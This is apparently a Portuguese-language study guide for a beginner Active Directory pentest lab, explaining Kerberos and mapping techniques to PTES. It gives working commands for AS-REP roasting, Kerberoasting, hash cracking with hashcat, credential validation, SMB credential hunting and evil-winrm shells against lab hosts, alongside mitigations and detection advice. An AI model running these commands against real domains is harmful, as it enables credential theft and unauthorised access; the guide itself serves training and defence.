Active Directory - Conceitos e Comandos do Lab 1

Objetivo Técnico

Explicar os blocos fundamentais usados em um laboratório inicial de Active Directory: Domain Controller, Kerberos, AS-REQ, AS-REP, TGT, TGS, SPN, AS-REP Roasting, Kerberoasting, SMB, WinRM e validação de credenciais. A leitura deve ajudar a entender o motivo de cada comando antes de executar a técnica.

ptes-mapping
PTES aplicado ao estudo do Lab 1

Pre-Engagement -> escopo: dc01, client01, dominio lab.local
Intelligence Gathering -> portas, dominio, usuarios, SPNs e shares
Threat Modeling -> quais identidades e servicos podem abrir caminho
Vulnerability Analysis -> AS-REP, Kerberoasting, credencial em SMB, admin local
Exploitation -> crack offline, autenticacao, WinRM
Post-Exploitation -> prova de privilegio local e evidencias finais
Reporting -> finding, impacto, deteccao, mitigacao e reteste

Mapa Mental de Active Directory

Em AD, quase tudo passa por identidade. O domínio centraliza usuários, computadores, grupos, políticas e autenticação. O Domain Controller é o ponto que responde Kerberos, LDAP, DNS de domínio e várias consultas críticas.

TermoO que éUso no lab
DCDomain Controller, servidor que autentica e mantém o diretório.Alvo de enumeração Kerberos, LDAP e SMB.
LDAPProtocolo usado para consultar objetos do diretório.Ajuda a listar usuários, grupos, computadores e atributos relevantes.
KerberosProtocolo de autenticação baseado em tickets.Base de AS-REP Roasting e Kerberoasting.
SMBProtocolo Windows para arquivos, shares e administração remota.Enumeração de shares e busca de credenciais expostas.
WinRMWindows Remote Management, usado para sessão remota administrativa.Valida movimento lateral quando uma conta tem permissão no host.

Kerberos em 5 Passos

Kerberos evita enviar a senha para cada serviço. O cliente prova identidade ao DC, recebe tickets e usa esses tickets para acessar serviços. Entender essa sequência explica por que AS-REP Roasting e Kerberoasting são ataques offline contra material criptográfico.

kerberos-flow
1) AS-REQ
   Cliente -> DC/KDC
   Pedido inicial de autenticacao.

2) AS-REP
   DC/KDC -> Cliente
   Resposta do KDC. Se pre-auth estiver desabilitado, pode conter material crackavel.

3) TGT
   Ticket Granting Ticket.
   Prova que o usuario autenticou e pode pedir tickets de servico.

4) TGS-REQ / TGS
   Cliente pede um ticket para acessar um servico especifico.
   Exemplo de servico: MSSQLSvc/sql.lab.local.

5) Acesso ao servico
   Cliente apresenta o TGS ao servico.
   O servico valida o ticket sem receber a senha do usuario.

Glossário Kerberos Usado no Lab

TermoExplicação práticaComo aparece no comando
AS-REQPedido inicial de autenticação enviado ao KDC.GetNPUsers força a tentativa de obter AS-REP para usuários.
AS-REPResposta do KDC. Em conta sem pre-auth, vira material para crack offline.Hash salvo em asrep.hash.
TGTTicket inicial usado para pedir tickets de serviço.klist mostra tickets no Windows.
TGSTicket para um serviço específico.GetUserSPNs -request solicita TGS para SPNs.
SPNService Principal Name, vínculo entre serviço e conta.MSSQLSvc/sql.lab.local, HTTP/app, CIFS/server.
Pre-authProteção que exige prova da senha antes de devolver material útil.Quando está desabilitada, habilita AS-REP Roasting.

Se encontrar a grafia AS-RES em anotações, trate como confusão comum com AS-REP. O termo usado na documentação técnica de Kerberos para a resposta é AS-REP.

Ferramentas do Fluxo

FerramentaUsoEvidência esperada
NmapDescobrir portas e serviços em DC e workstation.Kerberos 88, LDAP 389, SMB 445, WinRM 5985.
ImpacketExecutar GetNPUsers, GetUserSPNs e secretsdump.Hash AS-REP, hash TGS, prova controlada de credencial.
HashcatCrack offline de material Kerberos.Senha validada e mascarada no report.
CrackMapExec / NetExecValidar credencial, enumerar SMB e testar WinRM.Autenticação OK, shares acessíveis, WinRM disponível.
smbclientAcessar share e baixar arquivo de prova.Arquivo sensível sanitizado.
Evil-WinRMAbrir shell remoto quando a conta tem permissão.Host, usuário, grupos e privilégios.

Comandos do Lab 1 com Explicação

Use os comandos como roteiro de estudo. Em um report, salve a saída relevante, mas publique senhas, hashes e flags somente de forma mascarada.

1. Descobrir serviços AD

nmap
nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-dc01 192.168.56.10
nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-client01 192.168.56.11

O objetivo é provar quais serviços existem antes de escolher a técnica. Kerberos e LDAP indicam DC; SMB permite share enum; WinRM indica possível administração remota.

2. Preparar usuários para teste Kerberos

users.txt
printf "%s\n" user1 svc_sql helpdesk administrator > users.txt

A lista de usuários é entrada para testar quais contas podem responder com material útil. Em ambiente real, essa lista deve vir de enumeração autorizada e ter controle para evitar ruído.

3. AS-REP Roasting

asrep-roast
impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 192.168.56.10 \
  -outputfile evidence/level-01/hashes/asrep.hash

hashcat -m 18200 evidence/level-01/hashes/asrep.hash /usr/share/wordlists/rockyou.txt
hashcat -m 18200 evidence/level-01/hashes/asrep.hash --show

crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>'

Se a conta não exige pre-auth, o DC pode devolver AS-REP crackável offline. O impacto só fica demonstrado quando a senha recuperada é validada contra um serviço em escopo.

4. Kerberoasting com SPN

kerberoasting
impacket-GetUserSPNs lab.local/user1:'<PASSWORD_REDACTED>' -dc-ip 192.168.56.10 -request \
  -outputfile evidence/level-01/hashes/tgs.hash

hashcat -m 13100 evidence/level-01/hashes/tgs.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 evidence/level-01/hashes/tgs.hash --show

crackmapexec smb 192.168.56.10 -u svc_sql -p '<PASSWORD_REDACTED>'

Kerberoasting não depende de pre-auth desabilitado. Um usuário autenticado pode solicitar TGS para um SPN. Se a conta de serviço usa senha fraca, o ticket pode ser crackado offline.

5. SMB Share e credenciais expostas

smb
crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>' --shares

smbclient //192.168.56.10/IT -U 'user1%<PASSWORD_REDACTED>'

ls
get notes.txt evidence/level-01/smb/notes.txt
exit

sed 's/password=.*/password=<PASSWORD_REDACTED>/i' evidence/level-01/smb/notes.txt \
  > evidence/level-01/smb/notes-redacted.txt

A vulnerabilidade não é simplesmente existir um share. O problema é permissão excessiva combinada com segredo em arquivo. A evidência deve mostrar acesso, conteúdo sensível mascarado e impacto da credencial recuperada.

6. WinRM e local admin

winrm
crackmapexec winrm 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'
evil-winrm -i 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'

hostname
whoami
whoami /groups
whoami /priv

WinRM prova movimento lateral quando a conta tem permissão remota. O ponto crítico no report é diferenciar autenticação válida de privilégio administrativo local.

Como Transformar em Finding

TécnicaFindingMITRE ATT&CKReteste
AS-REP RoastingConta sem Kerberos pre-authentication e senha crackável.T1558.004GetNPUsers não retorna hash para a conta.
KerberoastingConta de serviço com SPN e senha fraca ou reutilizável.T1558.003Senha longa/gMSA torna crack offline inviável no teste.
Credential Hunting em SMBCredencial armazenada em arquivo acessível por usuário de domínio.T1552.001Arquivo removido, senha rotacionada e acesso ao share revisado.
WinRM com local adminConta operacional com privilégio administrativo local excessivo.T1021.006 / T1078Conta não consegue sessão remota/admin sem justificativa.

Mitigação e Detecção

  • Habilitar Kerberos pre-authentication para contas humanas e revisar exceções.
  • Usar gMSA ou senhas longas e aleatórias para contas de serviço com SPN.
  • Remover credenciais de shares, scripts e arquivos de operação; rotacionar qualquer segredo exposto.
  • Reduzir administradores locais e aplicar Windows LAPS quando houver necessidade operacional.
  • Alertar AS-REQ sem pre-auth, TGS-REQ anômalo, leitura de arquivos sensíveis em SMB e logon WinRM fora do baseline.
  • Guardar logs em formato correlacionável, com host, conta, origem, destino, horário e resultado.

Referências de Base